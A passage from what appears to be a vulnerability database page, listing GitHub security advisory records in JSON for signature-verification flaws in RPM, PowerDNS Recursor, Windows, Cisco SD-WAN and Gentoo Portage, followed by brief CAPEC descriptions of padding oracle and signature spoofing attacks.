"type": "WEB",
"url": "https://github.com/RUB-NDS/Johnny-You-Are-Fired/blob/master/paper/johnny-fired.pdf"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2019-06"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00043.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/152703/Johnny-You-Are-Fired.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2019/Apr/38"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2019/04/30/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PR6X-P264-JRPQ
Vulnerability from github – Published: 2022-08-23 00:00 – Updated: 2022-08-27 00:00There is a flaw in RPM's signature functionality. OpenPGP subkeys are associated with a primary key via a "binding signature." RPM does not check the binding signature of subkeys prior to importing them. If an attacker is able to add or socially engineer another party to add a malicious subkey to a legitimate public key, RPM could wrongly trust a malicious signature. The greatest impact of this flaw is to data integrity. To exploit this flaw, an attacker must either compromise an RPM repository or convince an administrator to install an untrusted RPM or public key. It is strongly recommended to only use RPMs and public keys from trusted sources.
{
"affected": [],
"aliases": [
"CVE-2021-3521"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-22T15:15:00Z",
"severity": "MODERATE"
},
"details": "There is a flaw in RPM\u0027s signature functionality. OpenPGP subkeys are associated with a primary key via a \"binding signature.\" RPM does not check the binding signature of subkeys prior to importing them. If an attacker is able to add or socially engineer another party to add a malicious subkey to a legitimate public key, RPM could wrongly trust a malicious signature. The greatest impact of this flaw is to data integrity. To exploit this flaw, an attacker must either compromise an RPM repository or convince an administrator to install an untrusted RPM or public key. It is strongly recommended to only use RPMs and public keys from trusted sources.",
"id": "GHSA-pr6x-p264-jrpq",
"modified": "2022-08-27T00:00:49Z",
"published": "2022-08-23T00:00:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3521"
},
{
"type": "WEB",
"url": "https://github.com/rpm-software-management/rpm/pull/1795"
},
{
"type": "WEB",
"url": "https://github.com/rpm-software-management/rpm/commit/bd36c5dc9fb6d90c46fbfed8c2d67516fc571ec8"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2022:0254"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2022:0368"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2022:0634"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2021-3521"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1941098"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202210-22"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PR86-5P67-45RX
Vulnerability from github – Published: 2022-05-13 01:37 – Updated: 2022-05-13 01:37An issue has been found in the DNSSEC validation component of PowerDNS Recursor from 4.0.0 and up to and including 4.0.6, where the signatures might have been accepted as valid even if the signed data was not in bailiwick of the DNSKEY used to sign it. This allows an attacker in position of man-in-the-middle to alter the content of records by issuing a valid signature for the crafted records.
{
"affected": [],
"aliases": [
"CVE-2017-15090"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-01-23T15:29:00Z",
"severity": "MODERATE"
},
"details": "An issue has been found in the DNSSEC validation component of PowerDNS Recursor from 4.0.0 and up to and including 4.0.6, where the signatures might have been accepted as valid even if the signed data was not in bailiwick of the DNSKEY used to sign it. This allows an attacker in position of man-in-the-middle to alter the content of records by issuing a valid signature for the crafted records.",
"id": "GHSA-pr86-5p67-45rx",
"modified": "2022-05-13T01:37:35Z",
"published": "2022-05-13T01:37:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15090"
},
{
"type": "WEB",
"url": "https://doc.powerdns.com/recursor/security-advisories/powerdns-advisory-2017-03.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/101982"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PV24-75CX-C5M2
Vulnerability from github – Published: 2022-05-24 17:30 – Updated: 2023-12-31 21:30A spoofing vulnerability exists when Windows incorrectly validates file signatures, aka 'Windows Spoofing Vulnerability'.
{
"affected": [],
"aliases": [
"CVE-2020-16922"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-10-16T23:15:00Z",
"severity": "MODERATE"
},
"details": "A spoofing vulnerability exists when Windows incorrectly validates file signatures, aka \u0027Windows Spoofing Vulnerability\u0027.",
"id": "GHSA-pv24-75cx-c5m2",
"modified": "2023-12-31T21:30:23Z",
"published": "2022-05-24T17:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-16922"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16922"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-PV55-C55F-33QW
Vulnerability from github – Published: 2024-11-18 18:30 – Updated: 2024-11-18 18:30A vulnerability in the Image Signature Verification feature of Cisco SD-WAN Software could allow an authenticated, remote attacker with Administrator-level credentials to install a malicious software patch on an affected device. The vulnerability is due to improper verification of digital signatures for patch images. An attacker could exploit this vulnerability by crafting an unsigned software patch to bypass signature checks and loading it on an affected device. A successful exploit could allow the attacker to boot a malicious software patch image.Cisco has released software updates that address the vulnerability described in this advisory. There are no workarounds that address this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2021-1461"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-18T16:15:10Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the Image Signature Verification feature of Cisco\u0026nbsp;SD-WAN Software could allow an authenticated, remote attacker with Administrator-level credentials to install a malicious software patch on an affected device.\nThe vulnerability is due to improper verification of digital signatures for patch images. An attacker could exploit this vulnerability by crafting an unsigned software patch to bypass signature checks and loading it on an affected device. A successful exploit could allow the attacker to boot a malicious software patch image.Cisco\u0026nbsp;has released software updates that address the vulnerability described in this advisory. There are no workarounds that address this vulnerability.",
"id": "GHSA-pv55-c55f-33qw",
"modified": "2024-11-18T18:30:57Z",
"published": "2024-11-18T18:30:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1461"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PW5X-X5JW-CCMH
Vulnerability from github – Published: 2024-01-12 03:30 – Updated: 2024-08-30 23:37In Gentoo Portage before 3.0.47, there is missing PGP validation of executed code: the standalone emerge-webrsync downloads a .gpgsig file but does not perform signature verification.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "portage"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.47"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2016-20021"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-30T23:37:34Z",
"nvd_published_at": "2024-01-12T03:15:08Z",
"severity": "HIGH"
},
"details": "In Gentoo Portage before 3.0.47, there is missing PGP validation of executed code: the standalone emerge-webrsync downloads a .gpgsig file but does not perform signature verification.",
"id": "GHSA-pw5x-x5jw-ccmh",
"modified": "2024-08-30T23:37:34Z",
"published": "2024-01-12T03:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-20021"
},
{
"type": "WEB",
"url": "https://github.com/gentoo/portage/commit/28cd240fb23d880b8641a058831c6762db71c3e2"
},
{
"type": "WEB",
"url": "https://bugs.gentoo.org/597800"
},
{
"type": "PACKAGE",
"url": "https://github.com/gentoo/portage"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/portage/PYSEC-2024-10.yaml"
},
{
"type": "WEB",
"url": "https://gitweb.gentoo.org/proj/portage.git/tree/NEWS"
},
{
"type": "WEB",
"url": "https://gitweb.gentoo.org/repo/gentoo.git/commit/?id=5b3c80502e96406b4b175e2ee79eb65f3f3cd9f6"
},
{
"type": "WEB",
"url": "https://wiki.gentoo.org/wiki/Portage"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Gentoo Portage missing PGP validation of executed code"
}
No mitigation information available for this CWE.
CAPEC-463: Padding Oracle Crypto Attack
An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.
CAPEC-475: Signature Spoofing by Improper Validation
An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.